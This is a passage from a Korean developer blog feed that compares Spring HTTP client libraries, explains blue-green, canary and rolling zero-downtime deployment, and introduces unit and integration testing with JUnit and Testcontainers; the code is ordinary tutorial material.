<span class="nc">Order</span> <span class="n">order</span> <span class="o">=</span> <span class="n">restTemplate</span><span class="o">.</span><span class="na">getForObject</span><span class="o">(</span><span class="s">"https://api.example.com/orders/{id}"</span><span class="o">,</span> <span class="nc">Order</span><span class="o">.</span><span class="na">class</span><span class="o">,</span> <span class="n">id</span><span class="o">);</span>
</code></pre></div></div>

<h4 id="장점">장점</h4>

<ul>
  <li>사용법이 간단하고 직관적</li>
  <li>오랜 기간 사용되어 안정적이며 간단한 REST 호출에 적합</li>
</ul>

<h4 id="단점">단점</h4>

<ul>
  <li>동기 방식만 지원 → 대규모 동시성 환경에서 성능 저하 발생</li>
  <li>Spring 5부터는 업데이트 중단(Deprecated)</li>
</ul>

<h2 id="webclient">WebClient</h2>

<p>Spring WebFlux의 비동기 &amp; 리액티브 HTTP 클라이언트</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">WebClient</span> <span class="n">client</span> <span class="o">=</span> <span class="nc">WebClient</span><span class="o">.</span><span class="na">create</span><span class="o">(</span><span class="s">"https://api.example.com"</span><span class="o">);</span>

<span class="nc">Mono</span><span class="o">&lt;</span><span class="nc">Order</span><span class="o">&gt;</span> <span class="n">orderMono</span> <span class="o">=</span> <span class="n">client</span><span class="o">.</span><span class="na">get</span><span class="o">()</span>
    <span class="o">.</span><span class="na">uri</span><span class="o">(</span><span class="s">"/orders/{id}"</span><span class="o">,</span> <span class="n">id</span><span class="o">)</span>
    <span class="o">.</span><span class="na">retrieve</span><span class="o">()</span>
    <span class="o">.</span><span class="na">bodyToMono</span><span class="o">(</span><span class="nc">Order</span><span class="o">.</span><span class="na">class</span><span class="o">);</span>
</code></pre></div></div>

<h4 id="장점-1">장점</h4>

<ul>
  <li>Non-Blocking/Reactive 패러다임 지원 → 높은 동시 처리 성능</li>
  <li>체이닝(Fluent) 방식의 체계적이고 직관적</li>
  <li>동기/비동기 모두 지원</li>
  <li>REST뿐만 아니라 웹소켓, SSE등 다양한 프로토콜 지원</li>
</ul>

<h4 id="단점-1">단점</h4>

<ul>
  <li>Reactive 프로그래밍 개념에 대한 러닝커브가 있음</li>
  <li>동기 방식보다 복잡한 예외 처리 필요</li>
</ul>

<h2 id="3restclient">3.RestClient</h2>

<p>Spring 6에서 새롭게 등장한 선언형 HTTP 클라이언트</p>

<p><code class="language-plaintext highlighter-rouge">RestTemplate</code> + <code class="language-plaintext highlighter-rouge">WebClient</code> 장점을 흡수한 현대적 API</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">RestClient</span> <span class="n">restClient</span> <span class="o">=</span> <span class="nc">RestClient</span><span class="o">.</span><span class="na">create</span><span class="o">(</span><span class="s">"https://api.example.com"</span><span class="o">);</span>

<span class="nc">Order</span> <span class="n">order</span> <span class="o">=</span> <span class="n">restClient</span><span class="o">.</span><span class="na">get</span><span class="o">()</span>
        <span class="o">.</span><span class="na">uri</span><span class="o">(</span><span class="s">"/orders/{id}"</span><span class="o">,</span> <span class="n">id</span><span class="o">)</span>
        <span class="o">.</span><span class="na">retrieve</span><span class="o">()</span>
        <span class="o">.</span><span class="na">body</span><span class="o">(</span><span class="nc">Order</span><span class="o">.</span><span class="na">class</span><span class="o">);</span>
</code></pre></div></div>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@RestClient</span>
<span class="kd">public</span> <span class="kd">interface</span> <span class="nc">OrderClient</span> <span class="o">{</span>
    <span class="nd">@GetExchange</span><span class="o">(</span><span class="s">"/orders/{id}"</span><span class="o">)</span>
    <span class="nc">Order</span> <span class="nf">getOrder</span><span class="o">(</span><span class="nd">@PathVariable</span><span class="o">(</span><span class="s">"id"</span><span class="o">)</span> <span class="nc">Long</span> <span class="n">id</span><span class="o">);</span>
<span class="o">}</span>

<span class="c1">// 사용 예시</span>
<span class="nc">Order</span> <span class="n">order</span> <span class="o">=</span> <span class="n">orderClient</span><span class="o">.</span><span class="na">getOrder</span><span class="o">(</span><span class="mi">123L</span><span class="o">);</span>
</code></pre></div></div>

<h4 id="장점-2">장점</h4>

<ul>
  <li>RestTemplate 보다 심플하고 현대적인 동기식 API 제공</li>
  <li><strong>체이닝 기반 명령형 호출과 인터페이스 선언형 호출</strong> 모두 지원 가능</li>
  <li>Spring 6 내장 라이브러리 (추가 의존성 없음)</li>
</ul>

<h4 id="단점-2">단점</h4>

<ul>
  <li>Spring 6 이상에서만 사용 가능(구버전 호환 불가)</li>
  <li>생태계/레퍼런스/사례가 아직 제한적임</li>
</ul>

<h2 id="4httpclient">4.HttpClient</h2>

<p>JDK 내장 라이브러리</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nc">HttpClient</span> <span class="n">client</span> <span class="o">=</span> <span class="nc">HttpClient</span><span class="o">.</span><span class="na">newHttpClient</span><span class="o">();</span>
<span class="nc">HttpRequest</span> <span class="n">request</span> <span class="o">=</span> <span class="nc">HttpRequest</span><span class="o">.</span><span class="na">newBuilder</span><span class="o">()</span>
        <span class="o">.</span><span class="na">uri</span><span class="o">(</span><span class="no">URI</span><span class="o">.</span><span class="na">create</span><span class="o">(</span><span class="s">"https://api.example.com/orders/1"</span><span class="o">))</span>
        <span class="o">.</span><span class="na">build</span><span class="o">();</span>

<span class="nc">HttpResponse</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">&gt;</span> <span class="n">response</span> <span class="o">=</span> <span class="n">client</span><span class="o">.</span><span class="na">send</span><span class="o">(</span><span class="n">request</span><span class="o">,</span> <span class="nc">BodyHandlers</span><span class="o">.</span><span class="na">ofString</span><span class="o">());</span>
</code></pre></div></div>

<h4 id="장점-3">장점</h4>

<ul>
  <li>JDK +11 내장 라이브러리이므로 외부 의존성 없이 바로 사용 가능</li>
  <li>동기/비동기 모두 지원</li>
  <li>HTTP/2, WebSocket 등 최신 프로토콜 지원</li>
  <li>저수준 레벨의 세부 제어 가능</li>
</ul>

<h4 id="단점-3">단점</h4>

<ul>
  <li>직접 모든 것을 처리해야함(직렬화, 예외 처리 등)</li>
  <li>생산성이 RestTemplate, WebClient 보다 낮을 수 있음</li>
  <li>JDK 11 이상 필요(구버전 호환 불가)</li>
</ul>

<h2 id="5feignclient-spring-cloud-openfeign">5.FeignClient (Spring Cloud OpenFeign)</h2>

<p>인터페이스 기반 선언형 HTTP 클라이언트<br />
<strong>OpenFeign</strong> 이라는 이름으로 <strong>Spring Cloud</strong> 의 일부로 통합되어 있음<br />
인터페이스에 애노테이션만 붙이면 API 호출 가능</p>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@FeignClient</span><span class="o">(</span><span class="n">name</span> <span class="o">=</span> <span class="s">"orderClient"</span><span class="o">,</span> <span class="n">url</span> <span class="o">=</span> <span class="s">"https://api.example.com"</span><span class="o">)</span>
<span class="kd">public</span> <span class="kd">interface</span> <span class="nc">OrderClient</span> <span class="o">{</span>
    <span class="nd">@GetMapping</span><span class="o">(</span><span class="s">"/orders/{id}"</span><span class="o">)</span>
    <span class="nc">Order</span> <span class="nf">getOrder</span><span class="o">(</span><span class="nd">@PathVariable</span> <span class="nc">String</span> <span class="n">id</span><span class="o">);</span>
<span class="o">}</span>
</code></pre></div></div>

<h4 id="장점-4">장점</h4>

<ul>
  <li>선언형(Declarative) 스타일로 코드가 간결하고 직관적임</li>
  <li>Spring Cloud Discovery, Load Balancer 등과의 연동이 우수함</li>
  <li>인터페이스만 정의하면 런타임에 구현체가 자동 생성되어 생산성이 높음</li>
</ul>

<h4 id="단점-4">단점</h4>

<ul>
  <li>동기 방식만 기본 지원(비동기 미지원)</li>
  <li>커스터마이징에 한계가 있음</li>
</ul>

<h2 id="비교-요약">비교 요약</h2>

<table>
  <thead>
    <tr>
      <th>라이브러리</th>
      <th>지원 방식</th>
      <th>동기/비동기</th>
      <th>장점</th>
      <th>단점</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>**RestTemplate**</td>
      <td>Spring 내장</td>
      <td>동기</td>
      <td>사용 쉬움, 문서 풍부</td>
      <td>동기만 지원, 신규 개발 비권장</td>
    </tr>
    <tr>
      <td>**WebClient**</td>
      <td>Spring Webflux 내장</td>
      <td>동기/비동기(주로 비동기)</td>
      <td>고성능, Reactive, 현대적</td>
      <td>러닝커브, 일부 복잡</td>
    </tr>
    <tr>
      <td>**RestClient**</td>
      <td>Spring 6+ 내장</td>
      <td>동기</td>
      <td>간결한 문법, 최신 표준</td>
      <td>Spring 6+ 한정, 자료 적음</td>
    </tr>
    <tr>
      <td>**HttpClient**</td>
      <td>JDK 11+ 내장</td>
      <td>동기/비동기</td>
      <td>외부 의존성 없음, 저수준 제어 용이</td>
      <td>Spring 통합 불편, 코드 많아짐</td>
    </tr>
    <tr>
      <td>**Feign Client**</td>
      <td>Spring Cloud 외부</td>
      <td>동기</td>
      <td>선언형, 마이크로서비스 최적</td>
      <td>동기 한정, 커스터마이즈 한계</td>
    </tr>
  </tbody>
</table>

<h2 id="마무리">마무리</h2>

<p>Spring 기반 애플리케이션에서 HTTP 통신을 구현하는 방법은 다양합니다.</p>

<p>각 라이브러리마다 특성이 다르므로, 프로젝트 환경과 목적에 맞는 도구를 선택하는 것이 중요합니다.</p>

<p>기술 선택은 <strong>프로젝트의 요구사항, 개발 조직의 지식 수준, 장기적인 유지보수</strong>까지 고려해 신중히 하세요.</p>

<p>최신 동향에 맞는 선택이 앞으로 더욱 효율적인 개발과 운영을 가능하게 합니다.</p>]]></content><author><name>KIM-KYOUNG-OH</name></author><category term="Spring" /><category term="http" /><category term="spring" /><category term="java" /><summary type="html"><![CDATA[Spring 기반 애플리케이션에서 외부 API와의 HTTP 통신은 매우 일반적인 작업입니다. 하지만 사용할 수 있는 도구가 다양하다 보니, 어떤 도구를 언제 써야 할지 헷갈리는 경우가 많습니다.]]></summary></entry><entry><title type="html">배포가 두렵다면? 무중단 배포 전략</title><link href="https://coffeetimes.github.io/infra/2025/07/14/zero_downtime_deployment.html" rel="alternate" type="text/html" title="배포가 두렵다면? 무중단 배포 전략" /><published>2025-07-14T00:00:00+00:00</published><updated>2025-07-14T00:00:00+00:00</updated><id>https://coffeetimes.github.io/infra/2025/07/14/zero_downtime_deployment</id><content type="html" xml:base="https://coffeetimes.github.io/infra/2025/07/14/zero_downtime_deployment.html"><![CDATA[<p>서비스 배포할 때마다 손이 떨리고 로그창만 바라보며 기도하게 되시나요?<br />
“이거 올렸다가 터지면 어떡하지…” 하는 불안, 누구나 겪어봤을 겁니다.</p>

<p>하지만 걱정 마세요.<br />
<strong>다운타임 없이</strong>, <strong>문제 생겨도 빠르게 복구</strong>할 수 있는<br />
3가지 무중단 배포 전략을 소개합니다.</p>

<ol>
  <li>블루그린 배포 (Blue-Green)</li>
  <li>카나리 배포 (Canary)</li>
  <li>롤링 배포 (Rolling)</li>
</ol>

<h2 id="왜-무중단-배포를-도입해야하는가">왜 무중단 배포를 도입해야하는가?</h2>

<p>무중단 배포(Zero Downtime Deployment)의 가장 큰 목적은 <strong>서비스 중단 없이 안정적으로 새로운 버전을 배포하는 것</strong>입니다.</p>

<ul>
  <li><strong>고가용성(High Availability, HA)</strong>: 사용자에게 끊김 없는 경험 제공</li>
  <li><strong>안전한 롤백</strong>: 배포 실패 시 빠르게 이전 상태로 복구 가능</li>
  <li><strong>사용자 영향 최소화</strong>: 일부 사용자에게만 점진 적용 가능</li>
  <li><strong>배포 자동화와 일관성 확보</strong>: 실수 없이 반복 가능한 배포</li>
  <li><strong>빠른 피드백 루프</strong>: 자주 배포하고 즉시 개선할 수 있는 구조 지원</li>
</ul>

<p>서비스의 신뢰성과 배포 효율성을 동시에 잡기 위해 무중단 배포는 이제 선택이 아닌 <strong>필수 전략</strong>입니다.</p>

<h2 id="블루그린-배포-blue-green-deployment">블루그린 배포 (Blue-Green Deployment)</h2>

<p><strong>기존 운영 환경(Blue)</strong> 과 <strong>새로운 버전(Green)</strong> 을 <strong>동시에 운영</strong> 하며, <strong>새 버전(Green)</strong> 을 배포한 뒤, <strong>트래픽을 Green으로 전환</strong> 합니다. <br />
문제가 없다면 Green을 새로운 운영 환경으로 사용하고, 문제가 생기면 다시 Blue로 전환하여 <strong>즉시 롤백</strong> 이 가능합니다.</p>

<p><img src="https://github.com/user-attachments/assets/f02c4474-b314-4230-80cc-e8757937ea79" alt="Image" width="3016" height="1428" /></p>

<h3 id="장점">장점</h3>
<ul>
  <li>테스트 완료된 환경으로만 전환 → 안정적</li>
  <li>빠른 롤백</li>
</ul>

<h3 id="단점">단점</h3>
<ul>
  <li>블루, 그린 환경 2개 유지 필요 → <strong>높은 운영 비용</strong></li>
  <li>블루, 그린 모두 같은 데이터베이스를 바라보기 때문에 두 버전 모두 호환되도록 DB 스키마를 관리해야하고 점진적으로 마이그레이션 해야함 -&gt; <strong>DB 스키마 변경 시 관리 복잡</strong></li>
</ul>

<h3 id="활용-예시">활용 예시</h3>
<ul>
  <li>리스크가 큰 기능 출시</li>
  <li>빠른 롤백이 중요한 상황</li>
</ul>

<h2 id="카나리-배포-canary-deployment">카나리 배포 (Canary Deployment)</h2>

<p>카나리 배포(Canary Deployment)라는 이름은 과거 광산에서 ‘카나리아(canary)’ 새를 위험 신호 탐지에 활용한 것에서 유래했는데, 새가 먼저 유해 가스에 반응해 광부들이 신속히 대피할 수 있었기 때문입니다.  <br />
카나리 배포는 새 버전을 먼저 일부 사용자에게만 적용해 문제를 확인하고, 모니터링 이후에 이상 없으면 점차 모든 사용자에게 확대하는 점진적 배포 방식입니다.<br />
일부 실사용자에게만 새 버전을 노출하여 리스크를 점검하는 목적으로 사용합니다.</p>

<p><img src="https://github.com/user-attachments/assets/1d4ddb72-a07e-4a58-a211-4cdf0c83edf7" alt="Image" width="1041" height="529" /></p>

<h3 id="장점-1">장점</h3>
<ul>
  <li>사용자 중 일부만 새 버전을 먼저 사용 -&gt; <strong>실제 사용자 기반 테스트 가능</strong></li>
  <li>문제가 생겨도 영향 범위 제한</li>
</ul>

<h3 id="단점-1">단점</h3>
<ul>
  <li>트래픽 분할, 모니터링, 자동화 등 복잡한 운영 필요</li>
  <li>롤백이 단순 스위치가 아니라 점진적 롤백이므로 느림</li>
</ul>

<h3 id="활용-예시-1">활용 예시</h3>
<ul>
  <li>트래픽이 많은 서비스</li>
  <li>사용자 반응을 기반으로 기능 적용 여부 판단할 때</li>
</ul>

<h2 id="롤링-배포-rolling-deployment">롤링 배포 (Rolling Deployment)</h2>

<p>기존 서버 인스턴스를 <strong>하나씩 교체</strong>하며 새 버전을 배포하는 방법입니다.<br />
이 방식은 별도의 추가 환경을 마련하지 않고도 배포할 수 있기 때문에, 가용한 인프라 자원이 제한적인 상황에서 매우 효율적입니다.</p>

<p><img width="1599" height="662" alt="Image" src="https://github.com/user-attachments/assets/ba1a850e-6e09-4ef8-861e-38ce791a65e8" /></p>

<h3 id="장점-2">장점</h3>
<ul>
  <li>리소스 절약 (이중 환경 불필요)</li>
</ul>

<h3 id="단점-2">단점</h3>
<ul>
  <li>배포 중 구버전/신버전 혼재 가능</li>
  <li>문제 발생 시 점진적으로 반영되기 때문에 <strong>롤백이 느림</strong></li>
</ul>

<h3 id="활용-예시-2">활용 예시</h3>
<ul>
  <li>서버 자원이 제한적인 환경</li>
  <li>단일 서비스 운영 구조</li>
</ul>

<h2 id="전략별-비교-요약">전략별 비교 요약</h2>

<table>
  <thead>
    <tr>
      <th>전략</th>
      <th>다운타임 없음</th>
      <th>롤백 용이성</th>
      <th>리소스 비용</th>
      <th>배포 속도</th>
      <th>운영 복잡도</th>
      <th>사용자 영향 제어</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>블루그린</td>
      <td>✅</td>
      <td>높음 (즉시 롤백 가능)</td>
      <td>높음 (이중 환경 유지)</td>
      <td>빠름</td>
      <td>중간</td>
      <td>전체 사용자 전환</td>
    </tr>
    <tr>
      <td>카나리</td>
      <td>✅</td>
      <td>중간 (일부 점진적 롤백)</td>
      <td>중간 (부분 인스턴스 운영)</td>
      <td>느림</td>
      <td>높음</td>
      <td>일부 사용자 대상</td>
    </tr>
    <tr>
      <td>롤링</td>
      <td>✅</td>
      <td>낮음 (전체 점진적 롤백, 느림)</td>
      <td>낮음 (추가 환경 불필요)</td>
      <td>중간</td>
      <td>낮음</td>
      <td>전체 사용자 점진적 전환</td>
    </tr>
  </tbody>
</table>

<h2 id="어떤-전략을-선택해야-할까">어떤 전략을 선택해야 할까?</h2>

<table>
  <thead>
    <tr>
      <th>상황</th>
      <th>추천 전략</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>빠르게 롤백할 수 있어야 한다</td>
      <td>블루그린</td>
    </tr>
    <tr>
      <td>점진적으로 사용자 반응을 보고 싶다</td>
      <td>카나리</td>
    </tr>
    <tr>
      <td>리소스가 부족하다</td>
      <td>롤링</td>
    </tr>
  </tbody>
</table>

<h2 id="정리">정리</h2>

<p>무중단 배포가 아직 도입되지 않았다면, 서비스 환경과 리소스 상황에 맞춰 무중단 배포 전략을 선택하는 것을 권장합니다.</p>
<ul>
  <li>롤링 배포: 구현 쉽고 인프라 부담 적음. 자원 제한된 환경에 적합</li>
  <li>카나리 배포: 일부 사용자에 점진 적용, 리스크 관리에 효과적. 사용자 반응에 민감한 서비스 추천</li>
  <li>블루그린 배포: 완전 분리 환경, 즉시 롤백 가능. 대규모 서비스나 빠른 복구 필요 시 적합</li>
</ul>

<p>추가적으로 다음 키워드들도 무중단 배포 시스템을 더욱 고도화하는 데 도움이 될 수 있습니다.</p>
<ul>
  <li>Kubernetes 무중단 배포 전략</li>
  <li>Service Mesh</li>
  <li>Autoscaling</li>
  <li>Health Check</li>
  <li>Liveness/Readiness/Startup Probe</li>
</ul>

<h2 id="참고">참고</h2>

<p><a href="https://velog.io/@jingrow/%EB%B8%94%EB%A3%A8%EA%B7%B8%EB%A6%B0-%EB%A1%A4%EB%A7%81-%EC%B9%B4%EB%82%98%EB%A6%AC-%EB%B0%B0%ED%8F%AC%EC%9D%98-%EC%B0%A8%EC%9D%B4%EC%A0%90%EA%B3%BC-%EC%96%B4%EB%96%A4-%EA%B2%BD%EC%9A%B0%EC%97%90-%EA%B0%81%EA%B0%81%EC%9D%98-%EB%B0%B0%ED%8F%AC%EB%B0%A9%EC%8B%9D%EC%9D%84-%EC%8B%9C%EB%8F%84%ED%95%98%EB%8A%94%EC%A7%80-%EC%A1%B0%EC%82%AC%ED%95%B4%EB%B3%B4%EC%84%B8%EC%9A%94">https://velog.io/@jingrow</a></p>]]></content><author><name>KIM-KYOUNG-OH</name></author><category term="Infra" /><category term="zero-downtime-deployment" /><category term="infra" /><category term="CI/CD" /><summary type="html"><![CDATA[서비스 배포할 때마다 손이 떨리고 로그창만 바라보며 기도하게 되시나요? “이거 올렸다가 터지면 어떡하지…” 하는 불안, 누구나 겪어봤을 겁니다.]]></summary></entry><entry><title type="html">왜 테스트를 작성해야할까?</title><link href="https://coffeetimes.github.io/test/2025/07/07/why_test.html" rel="alternate" type="text/html" title="왜 테스트를 작성해야할까?" /><published>2025-07-07T00:00:00+00:00</published><updated>2025-07-07T00:00:00+00:00</updated><id>https://coffeetimes.github.io/test/2025/07/07/why_test</id><content type="html" xml:base="https://coffeetimes.github.io/test/2025/07/07/why_test.html"><![CDATA[<p>개발을 하다 보면 “테스트 코드는 정말 꼭 작성해야 할까?”라는 질문을 종종 하게 됩니다. 하지만 시간이 지날수록, 기능이 많아지고 복잡도가 높아질수록 테스트 코드의 중요성은 점점 더 커집니다. 이번 글에서는 테스트 코드를 왜 작성해야 하는지, 그리고 각 테스트의 종류와 작성 방법에 대해 정리해 보겠습니다.</p>

<h2 id="테스트를-작성하는-이유">테스트를 작성하는 이유</h2>

<h3 id="1-회귀-테스트regression-test의-핵심-도구">1. 회귀 테스트(Regression Test)의 핵심 도구</h3>

<p>테스트 코드를 작성하는 가장 큰 이유 중 하나는 회귀 테스트입니다.</p>

<p>기능 개발 당시의 검증 목적도 있지만, 시간이 지난 후 기존 코드를 수정했을 때 예상치 못한 사이드 이펙트를 빠르게 발견할 수 있습니다.</p>

<p>즉, 테스트는 개발자가 놓치기 쉬운 부분을 자동으로 검증해주는 방어막 역할을 합니다.</p>

<h3 id="2-코드의-의도를-설명하는-문서">2. 코드의 의도를 설명하는 문서</h3>

<p>테스트 코드는 그 자체로도 하나의 문서입니다.</p>

<p>특정 기능이나 메서드가 어떤 조건에서 어떤 결과를 기대하는지를 테스트 코드만 봐도 알 수 있기 때문에, 코드를 이해하는 데 도움이 되는 중요한 단서가 됩니다.</p>

<h2 id="테스트의-종류">테스트의 종류</h2>

<p><img src="https://github.com/user-attachments/assets/691b614f-9646-47bf-a3f5-86ca431462f1" alt="스크린샷" /></p>

<p>테스트는 흔히 “테스트 피라미드” 구조로 분류됩니다. 아래로 갈수록 실행 속도는 빠르고, 위로 갈수록 실제 사용자 관점에 가까워집니다.</p>

<ol>
  <li>단위 테스트 (Unit Test)
    <ul>
      <li>하나의 메서드 또는 클래스 등 최소 단위의 로직을 테스트</li>
      <li>빠르고 독립적으로 실행됨</li>
    </ul>
  </li>
  <li>통합 테스트 (Integration Test)
    <ul>
      <li>DB, 외부 API 등 실제 인프라 또는 다른 모듈과의 연결을 포함한 테스트</li>
      <li>단위 테스트보다는 느리지만, 복잡한 흐름 검증 가능</li>
    </ul>
  </li>
  <li>E2E 테스트 (End-to-End Test)
    <ul>
      <li>브라우저나 앱을 통해 전체 사용자 플로우를 시나리오 기반으로 테스트</li>
      <li>실제 유저 관점에서 기능을 보장할 수 있음</li>
    </ul>
  </li>
</ol>

<h2 id="단위-테스트를-작성하는-방법">단위 테스트를 작성하는 방법</h2>

<ul>
  <li>Java 환경에서는 일반적으로 JUnit을 사용합니다.</li>
  <li>각 메서드의 입력과 출력을 검증하고, 의존성은 Mocking을 통해 격리합니다.</li>
  <li>예시 도구: <code class="language-plaintext highlighter-rouge">JUnit 5</code>, <code class="language-plaintext highlighter-rouge">Mockito</code>, <code class="language-plaintext highlighter-rouge">AssertJ</code></li>
</ul>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">org.junit.jupiter.api.Test</span><span class="o">;</span>

<span class="kn">import</span> <span class="nn">static</span> <span class="n">org</span><span class="o">.</span><span class="na">assertj</span><span class="o">.</span><span class="na">core</span><span class="o">.</span><span class="na">api</span><span class="o">.</span><span class="na">Assertions</span><span class="o">.*;</span>

<span class="kd">class</span> <span class="nc">PointServiceTest</span> <span class="o">{</span>

    <span class="kd">private</span> <span class="kd">final</span> <span class="nc">PointService</span> <span class="n">pointService</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">PointService</span><span class="o">();</span>

    <span class="nd">@Test</span>
    <span class="kt">void</span> <span class="n">보유포인트보다_적은금액을_차감요청하면_정상적으로_차감된다</span><span class="o">()</span> <span class="o">{</span>
        <span class="c1">// given</span>
        <span class="kt">int</span> <span class="n">보유포인트</span> <span class="o">=</span> <span class="mi">1000</span><span class="o">;</span>
        <span class="kt">int</span> <span class="n">차감요청</span> <span class="o">=</span> <span class="mi">300</span><span class="o">;</span>

        <span class="c1">// when</span>
        <span class="kt">int</span> <span class="n">결과</span> <span class="o">=</span> <span class="n">pointService</span><span class="o">.</span><span class="na">deduct</span><span class="o">(</span><span class="n">보유포인트</span><span class="o">,</span> <span class="n">차감요청</span><span class="o">);</span>

        <span class="c1">// then</span>
        <span class="n">assertThat</span><span class="o">(</span><span class="n">결과</span><span class="o">).</span><span class="na">isEqualTo</span><span class="o">(</span><span class="mi">700</span><span class="o">);</span>
    <span class="o">}</span>

    <span class="nd">@Test</span>
    <span class="kt">void</span> <span class="n">보유포인트보다_많은금액을_차감요청하면_예외가_발생한다</span><span class="o">()</span> <span class="o">{</span>
        <span class="c1">// given</span>
        <span class="kt">int</span> <span class="n">보유포인트</span> <span class="o">=</span> <span class="mi">500</span><span class="o">;</span>
        <span class="kt">int</span> <span class="n">차감요청</span> <span class="o">=</span> <span class="mi">1000</span><span class="o">;</span>

        <span class="c1">// when &amp; then</span>
        <span class="n">assertThatThrownBy</span><span class="o">(()</span> <span class="o">-&gt;</span> <span class="n">pointService</span><span class="o">.</span><span class="na">deduct</span><span class="o">(</span><span class="n">보유포인트</span><span class="o">,</span> <span class="n">차감요청</span><span class="o">))</span>
                <span class="o">.</span><span class="na">isInstanceOf</span><span class="o">(</span><span class="nc">IllegalArgumentException</span><span class="o">.</span><span class="na">class</span><span class="o">)</span>
                <span class="o">.</span><span class="na">hasMessage</span><span class="o">(</span><span class="s">"보유 포인트보다 많이 차감할 수 없습니다."</span><span class="o">);</span>
    <span class="o">}</span>
<span class="o">}</span>

</code></pre></div></div>

<h2 id="통합-테스트-작성하는-방법">통합 테스트 작성하는 방법</h2>

<p>통합 테스트는 실제 시스템 간 상호작용을 테스트합니다.</p>

<ul>
  <li>DB와 연동되는 테스트
    <ul>
      <li>테스트용 DB를 로컬에서 직접 사용하거나, Testcontainers를 활용하여 실제 DB 환경을 Docker로 띄우고 테스트할 수 있습니다.</li>
    </ul>
  </li>
  <li>외부 API와 연동되는 테스트
    <ul>
      <li>외부 API를 MockServer 또는 WireMock 등으로 가상화하거나, 실제 호출로 동작 확인</li>
    </ul>
  </li>
</ul>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@SpringBootTest</span>
<span class="nd">@Testcontainers</span>
<span class="kd">class</span> <span class="nc">UserRepositoryIntegrationTest</span> <span class="o">{</span>

    <span class="nd">@Container</span>
    <span class="kd">static</span> <span class="nc">PostgreSQLContainer</span><span class="o">&lt;?&gt;</span> <span class="n">postgresDB</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">PostgreSQLContainer</span><span class="o">&lt;&gt;(</span><span class="s">"postgres:13"</span><span class="o">)</span>
            <span class="o">.</span><span class="na">withDatabaseName</span><span class="o">(</span><span class="s">"testdb"</span><span class="o">)</span>
            <span class="o">.</span><span class="na">withUsername</span><span class="o">(</span><span class="s">"test"</span><span class="o">)</span>
            <span class="o">.</span><span class="na">withPassword</span><span class="o">(</span><span class="s">"test"</span><span class="o">);</span>

    <span class="nd">@Autowired</span>
    <span class="kd">private</span> <span class="nc">UserRepository</span> <span class="n">userRepository</span><span class="o">;</span>

    <span class="nd">@DynamicPropertySource</span>
    <span class="kd">static</span> <span class="kt">void</span> <span class="nf">overrideProps</span><span class="o">(</span><span class="nc">DynamicPropertyRegistry</span> <span class="n">registry</span><span class="o">)</span> <span class="o">{</span>
        <span class="n">registry</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="s">"spring.datasource.url"</span><span class="o">,</span> <span class="nl">postgresDB:</span><span class="o">:</span><span class="n">getJdbcUrl</span><span class="o">);</span>
        <span class="n">registry</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="s">"spring.datasource.username"</span><span class="o">,</span> <span class="nl">postgresDB:</span><span class="o">:</span><span class="n">getUsername</span><span class="o">);</span>
        <span class="n">registry</span><span class="o">.</span><span class="na">add</span><span class="o">(</span><span class="s">"spring.datasource.password"</span><span class="o">,</span> <span class="nl">postgresDB:</span><span class="o">:</span><span class="n">getPassword</span><span class="o">);</span>
    <span class="o">}</span>

    <span class="nd">@Test</span>
    <span class="kt">void</span> <span class="n">유저_엔티티를_저장하면_아이디로_조회할_수_있다</span><span class="o">()</span> <span class="o">{</span>
        <span class="c1">// given</span>
        <span class="nc">User</span> <span class="n">user</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">User</span><span class="o">();</span>
        <span class="n">user</span><span class="o">.</span><span class="na">setEmail</span><span class="o">(</span><span class="s">"test@example.com"</span><span class="o">);</span>

        <span class="c1">// when</span>
        <span class="n">userRepository</span><span class="o">.</span><span class="na">save</span><span class="o">(</span><span class="n">user</span><span class="o">);</span>

        <span class="c1">// then</span>
        <span class="nc">Optional</span><span class="o">&lt;</span><span class="nc">User</span><span class="o">&gt;</span> <span class="n">found</span> <span class="o">=</span> <span class="n">userRepository</span><span class="o">.</span><span class="na">findById</span><span class="o">(</span><span class="n">user</span><span class="o">.</span><span class="na">getId</span><span class="o">());</span>
        <span class="n">assertThat</span><span class="o">(</span><span class="n">found</span><span class="o">).</span><span class="na">isPresent</span><span class="o">();</span>
        <span class="n">assertThat</span><span class="o">(</span><span class="n">found</span><span class="o">.</span><span class="na">get</span><span class="o">().</span><span class="na">getEmail</span><span class="o">()).</span><span class="na">isEqualTo</span><span class="o">(</span><span class="s">"test@example.com"</span><span class="o">);</span>
    <span class="o">}</span>
<span class="o">}</span>
</code></pre></div></div>

<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nd">@SpringBootTest</span>
<span class="nd">@AutoConfigureMockMvc</span>
<span class="nd">@TestInstance</span><span class="o">(</span><span class="nc">TestInstance</span><span class="o">.</span><span class="na">Lifecycle</span><span class="o">.</span><span class="na">PER_CLASS</span><span class="o">)</span>
<span class="kd">class</span> <span class="nc">WeatherServiceIntegrationTest</span> <span class="o">{</span>

    <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">MockWebServer</span> <span class="n">mockWebServer</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">MockWebServer</span><span class="o">();</span>

    <span class="nd">@Autowired</span>
    <span class="kd">private</span> <span class="nc">WeatherService</span> <span class="n">weatherService</span><span class="o">;</span>

    <span class="nd">@DynamicPropertySource</span>
    <span class="kd">static</span> <span class="kt">void</span> <span class="nf">overrideBaseUrl</span><span class="o">(</span><span class="nc">DynamicPropertyRegistry</span> <span class="n">registry</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">IOException</span> <span class="o">{</span>
